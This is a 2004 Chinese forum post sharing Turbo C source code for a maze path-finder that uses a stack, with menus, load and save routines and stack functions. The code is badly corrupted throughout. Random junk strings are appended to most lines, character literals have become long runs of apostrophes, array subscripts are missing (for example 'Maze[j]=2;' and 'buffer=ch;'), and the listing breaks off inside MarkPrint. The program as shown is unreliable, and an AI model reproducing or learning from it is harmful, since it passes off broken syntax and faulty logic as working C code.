QQ登录

只需要一步,快速开始

 注册地址  找回密码
查看: 7628|回复: 8
打印 上一主题 下一主题

C语言技术文章

[复制链接]
字体大小: 正常 放大
韩冰        

823

主题

3

听众

4048

积分

我的地盘我做主

该用户从未签到

发帖功臣 元老勋章

跳转到指定楼层
1#
发表于 2004-10-4 02:34 |只看该作者 |倒序浏览
|招呼Ta 关注Ta
<DIV  align=left>4 l) R1 G4 k. l& y! J) n% p
< align=left>程序目的:; l- s) U' ^5 _' |% ^: u+ S+ B8 m  [
输入一个任意大小的迷宫,用栈求出一条走出迷宫的路径,并+ V7 X4 R( s% F' A# E  G5 Q* `  P
显示在屏幕上。; R. y; Y9 j& Y  e+ t* S! _
程序实现:5 R5 @9 I0 }& N& l* b& i
可以实现载入迷宫和保存迷宫,附带文件中有4个测试迷宫路径的4 H- d4 A/ d: K' I
文件test1~4.dd。请将这些文件拷贝到TC当前目录下,或者在载: R& N3 R* e. L) ?, [
入时写明完全路径。由于屏幕大小的限制,当用户自己输入迷宫: x1 r7 w2 s7 F7 j
时一定要注意:迷宫大小是有限制的,不小于4*3,不大于30*20。
/ I& r( B, B7 h+ i/ {. ?4 E否则会出现错误信息。输入开始时全是墙,用上下左右键移动,* Q4 a0 K# h$ k5 H
用Del键删除墙,形成通路,用Enter键添加墙。输入结束时可以
; j3 Z, ?. G$ \* a0 M0 |7 _将迷宫保存下来,以dd为扩展名。输入完毕时用F9键来得到结果,
' F" \+ \  p& \) `% I$ q找到路径时,屏幕下方会出现Path found,否则出现Path not found。2 Z( M' E7 v! V8 z& P0 s& e1 c: l
程序经Turbo C 2.0编译调试成功。运行时不用添加任何运行库。7 m: I( r% P+ v9 x, l
不可以在VC上编译。
; O4 w0 [. w* U+ e4 p4 P' v" G7 `: o下载DOS版和windows版的迷宫游戏全部代码5 S5 J" |! f% M& E, O
用户名:migong
6 Y4 d# v, _$ y. B----------------------------------------------------------------------------------# J: p5 ]( D: [$ K, |8 u' M: n5 d: Q
/*
7 h) T2 Z3 Y7 h7 h# _: q1 G0 EMazePath Demo BY Turbo C 2.0* P' a% J$ l- v/ u
Copyright(c) RoverUnion. All right reserved.
( K& V7 |6 O, Z0 ]Filename: Maze.c
3 o( i. _% r$ [  RAuthor Dongchengyu.3 V2 \2 d' N0 }) g
Ver 1.10
. P: Q* d8 H! Q" u; E, K! O. U3 }*/4 a- K7 _  y( P
#include &lt;stdio.h&gt;) M  `2 @- R# m/ {5 ~
#include &lt;stdlib.h&gt;! c: I3 ^* {: u4 r, y2 Z4 H9 [  p
#include &lt;malloc.h&gt;( d; L2 M8 j' {. ]& s3 q& y
#include &lt;conio.h&gt;+ j' H6 j( M0 p4 m
#include &lt;dos.h&gt;
5 {9 l/ I2 p% B#define OK 12 Y3 c1 d( v/ \- w
#define ERROR 0- h/ {# g, y7 ]% o1 f
#define TRUE 1
: y9 `  b7 b# @  ~. t8 R( t#define FALSE 02 T  Q" a7 M) g9 I
#define F9 0x43
7 T, w; A7 c2 b#define Esc 0x1b( V3 T  Q3 ?8 Z! T& w9 V4 i
#define Del 0x53/ h( H+ i- L5 ~8 ^, x' Z
#define Home 0x47( h+ i+ P7 G, @' c0 g# X
#define End 0x4f: @% n; r& G+ k: J/ C. ~1 A
#define Space 0x20
- V0 I$ r4 A# \3 P$ o' G2 e2 w#define Up 0x48
: i$ V# h& s/ _' d#define Down 0x50& T0 v+ P8 Z" {0 H6 X3 N
#define Left 0x4b  G5 R, i  W; N) U5 {0 Z! g2 u
#define Right 0x4d
4 A8 O& Q2 j4 L. L0 w#define Enter 0x0d
' z' @4 n6 x; q& ]2 Q; d#define F2 0x3c
4 g1 _6 k4 T7 {5 e$ g6 Q$ I#define F3 0x3d# k. ?, T' g9 ^6 r/ p
#define STACK_INIT_SIZE 2009 g- A4 v; M$ Z8 D6 I1 g
#define STACKINCREMENT 10
5 p& t/ ]4 I! a7 @0 Ytypedef int Boolean;/ {: }' B1 L# |$ l7 t
typedef int Status;3 U, Y5 H5 K" A0 z$ q$ Z
typedef struct {
2 I- ^4 l, B: o7 X; ^( x7 Kint x;
8 G+ y$ J, f' X" S- Mint y;. J- G; C0 I6 q) F! I+ K% A/ u
} PosType;
7 @! V0 W2 q5 j; O: B- M" T2 Vtypedef struct {# x- D* C$ J3 P- o8 t
int ord;$ M) C6 h( Q) n& Z- F1 B  R+ v% A
PosType seat;
, d) r5 O6 ~& }1 ]9 Bint di;
4 W) }6 |0 `) `' ^# i} SElemType;
, v% p; o9 \8 B! ]typedef struct {' o9 K1 g- W% N
int td;
$ N$ J/ L( e8 v& {; @- ~int foot;" D9 Q/ k- w' F" I( y, A5 `
int mark;! B" I, ~; u: r% u8 O% q9 R
} MazeType;' a) H# v. G* x4 K+ x: O" z
typedef struct {: l! r( Q$ f1 I1 x4 B
SElemType *base;7 F) v7 s) `1 w; D7 d
SElemType *top;. A  T& r2 @+ w$ q
int stacksize;
/ [5 @# v9 H/ a% W} Stack;
& V8 }* [+ ?4 ?1 P3 L$ xint Maze[20][30];7 A! `, T* _6 C# t, ^# v" V
MazeType maze[20][30];( ^' k) x) a) S! w9 J
PosType StartPlace;8 {% y' y* F: J
PosType EndPlace;
$ x" U5 g. Q! V, jint count;- E8 f8 |) a4 n/ s6 m& r& E# j
int m,n;
. Q) \, P2 {/ d; gBoolean b_start=FALSE,b_end=FALSE;; J( T, J0 l6 a* m: b
void CreatMaze(void);# t) @( `: A, ]# ^
Status SaveMaze(char *filename);6 g# q/ Z- s0 n
Status LoadMaze(char *filename);
' [0 K/ J$ G) M3 Y5 zvoid Error(char *message);" D$ M% U1 z6 ?: |4 G1 |1 H
Status InitStack(Stack *s);
9 q. T0 a" q0 Q/ L: w3 @& Z* f* TStatus DestroyStack(Stack *s);
; H  K& ^5 K6 f9 z2 b! \6 rStatus ClearStack(Stack *s);
. X6 z  d' P; D$ {. ?- FBoolean StackEmpty(Stack *s);8 ]! D; N+ p' @6 A) u  `2 u+ j
int StackLength(Stack *s);
0 _7 E$ S$ ]0 q& Z$ O3 B& W- KStatus Push(Stack *s,SElemType e);: D0 e9 x( b& V& Z0 Q& `
SElemType Pop(Stack *s,SElemType e);
( V% E% `0 {. l% j, sStatus GetTop(Stack *s,SElemType *e);0 j: W. |* N1 S4 L# K9 S% `
Status StackTraverse(Stack *s,Status (* visit)(SElemType *se));3 [2 F: S9 W: }+ r5 d
Boolean Pass(PosType curpos);! y2 {; y3 f, I+ W8 p9 X
void MarkPrint(PosType seat);  O/ @2 B' A8 O/ z* p2 l
void FootPrint(PosType curpos);
% z7 B; F1 H9 x, WPosType NextPos(PosType seat,int di);6 O& u/ e  _' w8 X
Status MazePath(PosType start,PosType end);- ~& J+ y+ V" V2 @
void CreatMaze(void)( ?3 {% _7 h2 j; B2 v2 W. y
/* Form the maze. */
" N5 @: x! u5 @. L1 j4 d{
, X5 K1 R8 n0 S( ?/ \6 qvoid Error(char *message);
4 t, j0 n# v5 r8 D1 ]5 sStatus SaveMaze(char *filename);
, p# H5 J! G9 F% y! w  FStatus LoadMaze(char *filename);' V( Z/ I+ g! J9 W- S
int i,j;
- e; Q" F1 p8 E5 d& v! M- t9 iint x,y;) b' y4 a% D2 q. n0 H
char c;
$ l. t8 a: w1 X. Tchar savename[12],loadname[12];* v$ y! s' I6 t+ X; _
Boolean flag=FALSE,load=FALSE;- c4 Z( j: R( G9 P& [
clrscr();
9 z8 S! w1 W. e4 X6 Oprintf("Menu:\n\n");
1 |- |/ J5 j2 @: ~5 oprintf("1.Load Mazefile*.dd)\n\n");
8 m' O2 {- i$ m1 s* J5 R+ Sprintf("2.Input Maze:\n\n");
" A2 o5 D0 N, B& p; E, e6 u  K2 T, ]$ hprintf("Input your choice: ");; M9 Y% B, F- w8 h- H
do
6 C, n4 R- O4 |1 h{
6 x: }( `9 n. Fc=getch();; p# R, n9 b. f
switch(c), K, P9 y) z1 @: E
{
4 Y% m) l/ x2 a) @6 mcase ''''''''''''''''''''''''''''''''1'''''''''''''''''''''''''''''''': putch(''''''''''''''''''''''''''''''''1''''''''''''''''''''''''''''''''); break;
# c" i0 Y; d# L0 Y1 G$ tcase ''''''''''''''''''''''''''''''''2'''''''''''''''''''''''''''''''': putch(''''''''''''''''''''''''''''''''2''''''''''''''''''''''''''''''''); break;$ o& W* k  r) |: }3 {$ {0 v
case Esc: sleep(1); exit(1);$ y0 {. C1 z! f
default: break;, N! I, Z  v6 L
}& v( w1 Y# V# ?4 C4 \; z
}
# b# O" D8 W. b2 X: nwhile(c!=''''''''''''''''''''''''''''''''1''''''''''''''''''''''''''''''''&amp;&amp;c!=''''''''''''''''''''''''''''''''2'''''''''''''''''''''''''''''''') ;" t9 `" @" A+ v% ~9 I6 Y
if(c==''''''''''''''''''''''''''''''''1'''''''''''''''''''''''''''''''')0 `+ ]! {* N% ^' k$ [: Y
{6 S+ S5 k: T  V' u
printf("\n\nLoadName: ");
( z9 `! [0 T; j8 G) escanf("%s",loadname);
& |% J3 S, q+ Wif(LoadMaze(loadname))1 W8 K# J9 Z! E9 {; s
{
; R' Z, M1 E# @: U. _2 G6 ~sleep(1); load=TRUE;
( u4 u* r7 _) Y}
% r3 I; K0 n! K6 helse { gotoxy(1,9); printf("Load fail! "); }
; H, X7 E: h: A}9 W2 e( P# N5 S  X
if(!load)
9 ^; r0 a  e& J+ ^{
3 l3 p1 g& s, H& f6 ^* Nprintf("\nInput the maze''''''''''''''''''''''''''''''''s size:\n");
9 v4 G( h/ M' V1 Q1 @7 w( J0 Tprintf("\nInput Length :\n");* ?, H+ B! I2 ?2 m+ j5 D
scanf("%d",&amp;m);5 Y! _1 j! T! V6 S8 ?0 k/ L, g7 o
printf("\nInput Width :\n");8 u) `( Z& R7 j
scanf("%d",&amp;n);
' T  n2 Y& P9 ^" Lif(m&lt;4||n&lt;4) Error("Input");% M( l8 h$ s2 G8 E, i, S
if(m&gt;30||n&gt;20) Error("Maze too large");
. X* t$ P+ W/ f* F! _, Cfor(i=0;i&lt;30;i++)
0 H+ r+ A  w9 ]1 E/ Yfor(j=0;j&lt;20;j++), n( _; E2 `( P( D+ |5 H
Maze[j]=2;0 ^. s! j+ Y1 k0 I
StartPlace.x=0;
7 E* G. N/ z6 n2 L; kStartPlace.y=0;
* F; S9 R7 U9 X9 u) A$ k8 uEndPlace.x=0;, o' i6 H8 q4 l+ k& A: `2 ?
EndPlace.y=0;2 v7 M( ?- T/ j# P
clrscr();/ \* o9 h0 k5 J4 q6 V. f8 s" u
printf("\n");0 a! {$ k/ {0 {
for(i=1;i&lt;=n;i++)* ?6 I) @# d* y1 T6 f/ K/ z5 T
{: A+ ^$ v9 h& S
for(j=1;j&lt;=m;j++)/ V$ g! o8 L8 j5 v" s" ~
{3 q# \& v. t4 n% G1 }3 }# E$ m
printf(" #");
4 H. I% @( O/ |' z2 {Maze[i-1][j-1]=0;& c. |8 W7 b& e; |1 g
}$ b/ q% |, r5 b9 C+ s! P
printf("\n");" V& Z6 D+ [; J+ o+ D
}) k0 y6 s7 l7 g' e+ Q2 ?* r& I
}" L& ~  a3 H, d) P; I- X5 s
gotoxy(65,5);
" y1 v5 W1 E! n( iprintf("''''''''''''''''''''''''''''''''#'''''''''''''''''''''''''''''''':Wall");. X" v9 j& w# H- F
gotoxy(65,7);6 [& N5 `$ a5 J0 s! e
printf("Start:Home");
' \# E# n  Y; a  Ygotoxy(65,9);
' P: I/ w9 K. H" a# d9 xprintf("End:End");
" G& A9 z  d% Z8 S/ j5 j) egotoxy(65,11);& W( B# V/ z, e' |0 X& X) m
printf("Delete Wallel");
3 e* F2 Q8 m/ `- d" ygotoxy(65,13);6 Q+ E# U) E, @! @- P3 O! X
printf("Enter Wall:Enter");/ H1 R9 ]% V3 i5 i" _
gotoxy(65,15);2 B% p- V+ W" x3 l
printf("Save Maze:F2");- `/ C2 s/ L: W8 h, T7 W
gotoxy(65,17);4 Q  U# w; z. p, F4 ]9 y$ v0 T
printf("Complete:F9");
# a% H4 G1 {1 Ugotoxy(65,19);+ v0 X8 C: Z% P+ C9 R. M/ g
printf("Exit:Esc");" @" Z% J# j5 Y
gotoxy(4,3);9 C' p6 T% L9 Q
x=4;y=3;
8 O9 ?$ p2 |/ Z& ]( o& y# kdo* p7 y1 ]/ y% i& \& Q
{3 R8 K+ @/ H3 h( b4 b4 s9 |/ r0 i6 }
c=getch();) J! M+ \6 v  a; E6 N; Q4 }
switch(c)
7 E; h" m5 h! Z* s/ N{4 L" e2 M$ A4 c6 V8 o5 {
case Up: if(y&gt;3) { y--; gotoxy(x,y); }
. s+ D- a6 n" O1 H) J# @  Pbreak;  [' r3 w, U- [; w3 S( g, d
case Down: if(y&lt;n) { y++; gotoxy(x,y); }& i% V% |0 p. D/ G1 Z
break;
. p/ o4 [( Z1 _; ^# D/ Kcase Left: if(x&gt;4) { x-=2; gotoxy(x,y); }
2 l; W4 d, {2 ibreak;
+ E: T: r3 v- r7 v* Gcase Right: if(x&lt;2*m-2) { x+=2; gotoxy(x,y); }
8 V7 G* e/ P! K8 h0 bbreak;
: }) G/ K2 B! N) tcase Del: if(y-2==StartPlace.y&amp;&amp;x/2-1==StartPlace.x) b_start=FALSE;
5 t7 V4 ~3 Y. J( i7 xif(y-2==EndPlace.y&amp;&amp;x/2-1==EndPlace.x) b_end=FALSE;
  @( V1 t: U) c' Uputch('''''''''''''''''''''''''''''''' ''''''''''''''''''''''''''''''''); Maze[y-2][x/2-1]=1; gotoxy(x,y);! d% g+ A9 O4 u1 q* o
break;
  ?- s" R6 e2 X2 q; w3 G) Bcase Enter: if(y-2==StartPlace.y&amp;&amp;x/2-1==StartPlace.x) break;
$ K8 e; U1 @' uif(y-2==EndPlace.y&amp;&amp;x/2-1==EndPlace.x) break;
$ ^6 Q' S; R2 ]0 d1 q9 o2 r$ i% P% Vputch(''''''''''''''''''''''''''''''''#''''''''''''''''''''''''''''''''); Maze[y-2][x/2-1]=0; gotoxy(x,y);! i) Z- y# R! P9 r
break;
. I% ~' }+ p( {5 Rcase Home: if(Maze[y-2][x/2-1]&amp;&amp;!b_start)
5 X$ ~- z% T" z# t- T0 P{# I& m9 k3 j6 }1 _- b# f9 A
StartPlace.x=x/2-1;
2 @  M  ]" _9 E9 f$ EStartPlace.y=y-2;
+ I4 P; Z  l9 dputch(''''''''''''''''''''''''''''''''S'''''''''''''''''''''''''''''''');
; V+ G; D: M( r7 cgotoxy(x,y);% i$ K* G* m- c4 ]5 r1 ^& E' J9 ~" n
b_start=TRUE;& Z# ~7 i' }7 N( u3 P% E/ \$ A
}, ]. x# f, I  x5 I
break;0 n: d  j  s0 h; K' u* U2 \
case End: if(Maze[y-2][x/2-1]&amp;&amp;!b_end)
4 E9 v% @5 z3 U* H: k0 o+ B{
2 Y9 v' C( g" B( n2 W% E6 `EndPlace.x=x/2-1;$ B. [* R* M* ^0 t  }& K5 o
EndPlace.y=y-2;# x3 W/ K; a: ]
putch(''''''''''''''''''''''''''''''''E'''''''''''''''''''''''''''''''');
: |- I8 W6 z# H+ z! u5 [; igotoxy(x,y);
. `# R1 B  g2 `% l1 Rb_end=TRUE;
# d; d/ L9 b# _: K* b/ @}* `' `8 ?) a5 D( f9 K5 ?, T* q' C
break;5 [8 H! n3 B1 g
case Esc: gotoxy(2,22); printf("exit"); sleep(1); exit(1);
0 a* j' K, N: l& B& \case F9: if(b_start&amp;&amp;b_end) flag=TRUE; break;( X" G# v5 x, v( F0 \
case F2: gotoxy(2,22);% P! f$ H/ _  w6 Y
printf("Savename:");3 R+ k: G2 M% V& o
scanf("%s",savename);% v$ @* [3 p4 k) u1 C# R
gotoxy(2,22);4 [5 a, J1 m; \
if(SaveMaze(savename)) printf("Save OK! ");" m3 B. A7 _& o
else printf("Save fail! ");. j7 t2 ^+ e/ W: O+ A; R
sleep(1);
0 O2 }& \/ y! xgotoxy(2,22);9 z) `# d% G8 |, w
printf(" ");
3 U- I1 y; G! I( C* W- igotoxy(x,y);, q) e9 T& d3 Y# {5 l
break;
2 r/ }9 U3 e) A! kdefault: break;) b# i  }% H$ z2 D3 ~7 c! i
}
: }/ v# \5 d# A" M}; {8 o7 g* Q' i5 y4 u  P2 t
while(!flag);
' {6 u, ?0 G. Z0 hfor(i=0;i&lt;30;i++)
7 {1 p1 W: s0 |5 b2 Gfor(j=0;j&lt;20;j++)
' I/ ?9 _2 t/ g5 r{9 z  c: d( v* X# e
maze[j].td=Maze[j];
$ C2 X5 i5 n! r2 m( t% Vmaze[j].mark=0;
: [0 v* o3 D4 d  Y4 L& qmaze[j].foot=0;' L9 n* k. t9 |+ F
}
' B, q/ {9 t0 J% p/ A}* P, G2 O1 ]5 v1 z
Status LoadMaze(char *file)+ C9 q) a5 C+ @2 a
/* The maze has been loaded. */- k- @6 ~  h! j$ A2 F9 g: L
{
5 P5 C# p! c) o5 IFILE *fp;+ `6 x4 D0 v" c  \! V! r
char *buffer;( @- }% K8 t* g" B
char ch;
) |  y& ?2 \9 i- T: Sint i=0,j,k;
  H* V' ^  V& y, z9 yBoolean len=FALSE,wid=FALSE;
" `1 k& p8 Q* A4 h6 L4 jif((fp=fopen(file,"r"))==NULL)
* j% \6 b. e- N7 _6 K8 [2 q: m* o( yreturn ERROR;4 `+ p  u. g9 X' d
buffer=(char *)malloc(600*sizeof(char));, `; F0 |8 {) j' D4 S) L# [8 y
ch=fgetc(fp);
7 P2 w6 I' q+ ^! ?: Q0 I) k9 Jwhile(ch!=EOF)2 M2 S  c+ @2 l* ~% D, J
{
2 _9 e- R- @% M2 x/ s2 q! [* C3 y; _buffer=ch;/ U5 u) _' t, [% v. m9 H
i++;1 o0 _  X3 Y% }  E  Q* e$ P! x
ch=fgetc(fp);
# X; d3 y. E8 d  a. v7 C/ N) U9 ^}
  {$ U; J) J! R" S& \3 V' G2 pm=30;n=20;6 E! ~6 A% U8 l& @
for(i=0;i&lt;600;i++)
. h; W  U" k* V" z3 k' G4 t{
  C5 n! E, y- u# ~3 Kj=i/30; k=i%30;
; q8 F4 X/ h; s* l# R" jif(buffer==''''''''''''''''''''''''''''''''2''''''''''''''''''''''''''''''''&amp;&amp;!len){ m=i; len=TRUE; }7 G- m" ^/ i+ r0 ]  f8 Y
if(k==0&amp;&amp;buffer==''''''''''''''''''''''''''''''''2''''''''''''''''''''''''''''''''&amp;&amp;!wid){ n=j; wid=TRUE; }) ?7 c8 _0 W) }8 N% [  i1 T' F
switch(buffer)
. H2 z! w4 |0 O# m5 p: P{
  w' N1 Q$ m) w+ `! ccase ''''''''''''''''''''''''''''''''0'''''''''''''''''''''''''''''''': Maze[j][k]=0; break;
8 f4 [! P" T8 J5 k! vcase ''''''''''''''''''''''''''''''''1'''''''''''''''''''''''''''''''': Maze[j][k]=1; break;
3 t; a: X8 N" K4 m8 r! G' bcase ''''''''''''''''''''''''''''''''2'''''''''''''''''''''''''''''''': Maze[j][k]=2; break;
1 h4 a- B" Q9 W( A" x- I3 j- ]case ''''''''''''''''''''''''''''''''3'''''''''''''''''''''''''''''''': Maze[j][k]=1;. A9 g6 A) |, L6 d& u/ d
StartPlace.x=k;' D/ y0 w# D7 R! x4 V# w1 W3 U
StartPlace.y=j;
. ]. e" M4 D7 @9 j5 sb_start=TRUE;
4 `; k: w* P  j5 L( pbreak;) |! A4 j4 k1 P7 D
case ''''''''''''''''''''''''''''''''4'''''''''''''''''''''''''''''''': Maze[j][k]=1;: t1 \9 ^$ g( r2 i/ b0 f# I8 g
EndPlace.x=k;
6 z# n% u$ w- v! L# H- B( v2 W) rEndPlace.y=j;
7 X4 o' [0 _* M1 l0 a- Ab_end=TRUE;9 B2 e9 X9 L7 \4 `& c
break;% B/ ~5 N3 U8 b# y+ z
default : break;
1 p+ h& D. v- n, i}
* Q& e0 G$ e3 e4 _0 |0 z/ t}
6 F& \2 d, F# s8 Y6 {2 z" e) H: s/ Tfclose(fp);- M' }/ [9 k5 ~; I3 w* S
clrscr();
$ m4 V3 ]7 T  x' c6 g4 I* ?for(i=0;i&lt;30;i++)" f. ]: U  c2 b; Z  m
for(j=0;j&lt;20;j++)
# N1 o2 C% k) p( H& [{
* @9 u4 O' i  gmaze[j].td=Maze[j];
; ~9 O& q& e" [! P# ]maze[j].foot=0;
- q, i$ t6 d/ s, Tmaze[j].mark=0;/ Q/ h9 B  W5 |: ~7 P: L9 J) v
if(Maze[j]==0)9 ~- V% I- Y8 V" T! W( p1 d4 R
{* a* S3 b. K; V6 d
gotoxy(2*i+2,j+2);/ l. }8 b( {4 R' @
putch(''''''''''''''''''''''''''''''''#'''''''''''''''''''''''''''''''');* G( S6 V8 g+ M0 I! V' t7 N. _
}% ~+ e) s+ b9 ?1 m9 L- m& R6 v
}1 y& n) [/ b/ |3 C. F7 \
gotoxy(2*StartPlace.x+2,StartPlace.y+2);9 D" S7 o3 |- S2 D" a3 |
putch(''''''''''''''''''''''''''''''''S'''''''''''''''''''''''''''''''');7 ?" T2 y$ z! T
gotoxy(2*EndPlace.x+2,EndPlace.y+2);+ W- p# D( k# m6 f8 W. n
putch(''''''''''''''''''''''''''''''''E'''''''''''''''''''''''''''''''');: J6 J, J  A6 m0 c: s
return OK;( f; A) S: s5 L& q
}
! n) _6 V! d) Y" M" o0 S8 b9 b! sStatus SaveMaze(char *filename)
% x8 W7 z' w3 d& I/* The maze has been saved. */& p5 R2 j- m  M' S/ w
{
# B) `% p9 }7 }( }FILE *fp;4 i# f5 Z  ?3 H' H2 r2 e
char *buffer;
9 z& ~5 Z/ l7 D$ L6 V! Kint i,j,k;. y0 }1 y5 \; z4 D* _
fp=fopen(filename,"wb");# j3 @0 ~$ @, j2 E; Q) P0 V; A
buffer=(char *)malloc(600*sizeof(char));) f$ e3 k* H1 h: \+ U
for(i=0;i&lt;600;i++)( B% W% A3 d) z  K
{
7 o; n( s4 O6 E5 a2 G1 c$ Ij=i/30; k=i%30;: h! B& v! f' H5 l$ `0 O( W
switch(Maze[j][k])
3 ?. x& q' r- W( m' s: u{
! o: ~0 }4 g0 L# L' A% j, Zcase 0: buffer=''''''''''''''''''''''''''''''''0''''''''''''''''''''''''''''''''; break;8 \  \( s4 s, k: Q! Y* G8 n
case 1: buffer=''''''''''''''''''''''''''''''''1''''''''''''''''''''''''''''''''; break;
2 o( M$ [2 m3 Q  ~" ~case 2: buffer=''''''''''''''''''''''''''''''''2''''''''''''''''''''''''''''''''; break;
; _! n1 u' b: H( U& X1 Idefault : Error("Write"); break;
* S$ M' z! K' z}
3 c) k2 L& ]. cif(k==StartPlace.x&amp;&amp;j==StartPlace.y) buffer=''''''''''''''''''''''''''''''''3'''''''''''''''''''''''''''''''';
" r. N  r; v/ t" \' b( ]8 I) hif(k==EndPlace.x&amp;&amp;j==EndPlace.y) buffer=''''''''''''''''''''''''''''''''4'''''''''''''''''''''''''''''''';5 ?, S3 ?0 n8 L8 F/ R: v% P+ U
}
3 u8 u$ W2 M) h1 l4 J6 @4 afwrite(buffer,600,1,fp);. _9 p' X$ c0 x/ W' P
free(buffer);
- o8 p4 `8 R# p; i4 L, qfclose(fp);
( Y4 x, N) l) j+ _/ D" [, ~return OK;# H, t0 p1 _6 i, i" j% H6 s
}$ o% q0 ~" O3 n- N4 h2 v8 s3 Y
void Error(char *message)2 S+ ~" W; {( M* N* s# J
{6 T1 b& |; i/ O
clrscr();
/ R  ?' C, g7 G) R4 Xfprintf(stderr,"Error:%s\n",message);
6 h$ [4 q3 E. ?; I" y# Eexit(1);- `8 A$ X( r3 o1 L& |: R( s
} /* Error */
0 R* m8 S: M% v* B% y. O  |+ Y+ V7 k2 j# ?6 N- F' O3 F
Status InitStack(Stack *s)
5 c8 `0 x6 Q) n/* The stack s has been created and is initialized to be empty. */
3 V$ A: q. i0 ]' V  I, E0 U2 T8 S{
% \2 t: [+ ^$ h1 t% ds-&gt;base=(SElemType *)malloc(STACK_INIT_SIZE*sizeof(SElemType));
9 D; {" x& H5 {8 `if(!s-&gt;base) Error("Overflow");  |& v5 ^1 B# B
s-&gt;top=s-&gt;base;8 t6 c' |" H7 [+ c
s-&gt;stacksize=STACK_INIT_SIZE;
; m% C7 v/ Y2 E! I2 l6 }return OK;
! C$ H/ F" s  M+ C; E+ L5 y' T} /* InitStack */
. `) ~( b: B3 x. @! s% `2 IStatus DestroyStack(Stack *s)
/ n$ L- b# q5 G3 M  A' S/* The stack s has been destroyed. */6 U# o3 g. x5 l
{
1 t2 B  ?. m1 e# v+ \s-&gt;top=NULL;7 F9 C2 F" t9 `( C& b
s-&gt;stacksize=0;
/ k& A4 }. r  d: m& e7 Afree(s-&gt;base);) n& _. R$ J7 [/ I
s-&gt;base=NULL;1 v; j5 B9 v1 T; P
return OK;
2 L  D6 P7 V% c} /* DestroyStack */' u: j. `* E; U2 q
Status ClearStack(Stack *s). }2 f2 h+ k2 q  g
/* The stack has been clear to be maximum. */, i  r! B) L2 `$ H( h0 C" O
{- o9 z5 O& r! z
s-&gt;top=s-&gt;base;, Y; Y! {3 j$ {# W
s-&gt;stacksize=STACK_INIT_SIZE;7 ^+ a. y8 F& ^9 l
return OK;
: T3 {7 }( D' [1 `( s8 K1 }! I7 i8 J* j+ H} /* ClearStack */
0 z( f& ]8 Y6 oBoolean StackEmpty(Stack *s)
6 A8 v0 D8 Y7 W" x$ b% A- A/* Check if the stack s is empty. */
. T3 r5 Y2 L; I1 Z{2 |1 B2 E, ]5 s' h7 c1 o' ^
if(s-&gt;top==s-&gt;base) return TRUE;- ]% u" j) U- J
else return FALSE;
9 E, Q3 W$ I0 {! i0 h8 \} /* StackEmpty */0 |) [9 l% Y% D2 u9 @
int StackLength(Stack *s)
/ _! W- C, {8 I& \( U/* Gain the length of the stack s. */5 ^# C: w8 x8 u; n3 a
{
& p6 Z- G; s) r4 R- V: `if(s-&gt;top&gt;s-&gt;base) return (int)(s-&gt;top-s-&gt;base);3 U( ?( y* R! V7 O' l3 H
else return 0;& D( N+ O4 _$ A) T, }/ A
} /* StackLength */
; n9 d6 C- w. C- G, yStatus Push(Stack *s,SElemType e)
5 @# L  z1 n) e/* The element e has been pushed into the stack s. */) ]6 k1 Z7 K: g) h
{; W; i. ~* W. ~9 k. t# T& ~' {
if(s-&gt;top-s-&gt;base&gt;=s-&gt;stacksize). N& i0 ^1 p/ J. w, ?( ^
{; w; q/ I/ \( P5 i* R( k) d
s-&gt;base=(SElemType *)realloc(s-&gt;base,
/ ?, ]8 K& T* [" e, ]0 `(s-&gt;stacksize+STACKINCREMENT)*sizeof(SElemType));
' j. x. l4 x% B: y. }if(!s-&gt;base) Error("Overflow");& O( K) \" H( S! y9 x2 T
s-&gt;top=s-&gt;base+s-&gt;stacksize;7 r$ E" w$ E2 l8 [  y4 R6 v
s-&gt;stacksize+=STACKINCREMENT;
! H1 e: t* S2 Y. R6 Y}+ J/ n3 g+ C/ H& p
*s-&gt;top++=e;
7 \; I0 a$ G8 @2 Zreturn OK;, G0 V$ b  \/ v4 v% Z1 q
} /* Push */
; X7 J  R7 Q0 ?* f+ i# FSElemType Pop(Stack *s,SElemType e)# V4 B) h+ n- R. P: }
/* The element e has been removed from the stack s. */  Z; O0 A+ @! U1 s
{
( \7 V& b7 n+ U# `  L' u, |if(s-&gt;top==s-&gt;base) Error("op");
* a* p+ ~1 A9 \% D* ?0 ce=*--s-&gt;top;
+ O; v5 N9 k# C' D2 r; @return e;2 z7 M$ i( m0 w
} /* Pop */
+ b; H) `0 r& ?. M) L+ DStatus GetTop(Stack *s,SElemType *e)
- a3 W8 Y8 y' H7 K1 X# C/ W. _0 l1 g, x/* The element e has got to the top of the stack s.*/# t1 m7 _" y# O/ q+ [8 g; C
{: K% q$ f6 K/ l" E5 @8 E
if(s-&gt;top==s-&gt;base) Error("GetTop");
  P9 c% ^5 J8 L) i6 {*e=*(s-&gt;top-1);
& M' L7 G6 T5 t$ }, e4 D+ Areturn OK;# {4 N) e' ]0 @
} /* GetTop */
- M! Q% ~0 X1 x9 t" A5 P/* Traverse the stack s using ''''''''''''''''''''''''''''''''visiting'''''''''''''''''''''''''''''''' function. */
1 h; H3 g) p' ?  z: c/* Status StackTraverse(Stack *s,Status (* visit)(SElemType *se))
( i8 ]9 j( y5 u& g{
2 y8 l, W/ Q. o: c, |% M# c, NSElemType p;1 d+ @6 N: r# c! O
int result;1 x2 A' `0 E4 f& ~, n- A# a+ z
if(s-&gt;top==s-&gt;base) return ERROR;; @' g$ {% H. V( M) x% t! ~& a
p=s-&gt;base;
3 {( y' @# Z- P3 I) M! D5 xwhile(!(p==s-&gt;top))! @5 F: {5 `1 u; \0 s; I: Q9 P
{
3 e. Z6 p  `, _9 E+ L! E- s* Zresult=(*visit)(p);
1 J$ f) y6 G) o% C* ^0 |, mp++;
/ K' ?/ u/ V$ x! O3 ~3 A}0 M! Q* R- ~7 [1 ^
return OK;
! o1 e# \7 z/ e9 L' V} */
$ I2 \) y! V, T! k8 |Boolean Pass(PosType curpos)
+ ^6 M+ Z) O3 n/* Check if the current position can be passed. */
( Z9 y9 W, O: \1 `. y+ \; r4 h{; r, H+ r/ Z/ R& H) l% \) r6 j
if(maze[curpos.x][curpos.y].td==1&amp;&amp;
$ w& q( z/ {8 w+ v- {0 umaze[curpos.x][curpos.y].foot==0&amp;&amp;maze[curpos.x][curpos.y].mark==0)
3 o! j- r+ ~2 z! Ireturn TRUE;0 K0 q; E: H) P* `& B; H
else return FALSE;0 z3 K6 j, p% F3 H, J
} /* Pass */
8 b2 }. ?* V$ k& u" Evoid MarkPrint(PosType seat)
* ?' [& x& }2 P; R5 F/* Mark the position seat. */
+ y, ], t8 F* o" u1 ]{
! u9 j+ j9 u1 b4 w  P' mmaze[seat.x][seat.y].mark=-1;
